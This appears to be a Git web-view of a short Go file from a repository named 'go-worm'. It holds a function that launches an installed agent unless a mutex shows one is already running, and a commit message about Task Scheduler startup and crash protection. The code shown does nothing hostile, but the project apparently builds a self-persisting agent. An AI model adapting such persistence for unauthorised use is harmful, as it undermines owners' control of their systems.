- Use Task Scheduler XML instead of /TR - Run -ensure agent in-process, not child - Add console close and panic protection - Guard nil event channels after stop - Add non-Windows stubs for startup/mutex
19 lines
385 B
Go
19 lines
385 B
Go
package instance
|
|
|
|
import (
|
|
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
|
)
|
|
|
|
// EnsureRunning starts this host's agent if none is holding the mutex.
|
|
// Callers that can stay resident should run the agent in-process instead.
|
|
func EnsureRunning() error {
|
|
if AlreadyRunning() {
|
|
return nil
|
|
}
|
|
exe, err := config.InstalledExe()
|
|
if err != nil {
|
|
return err
|
|
}
|
|
return Launch(exe, nil)
|
|
}
|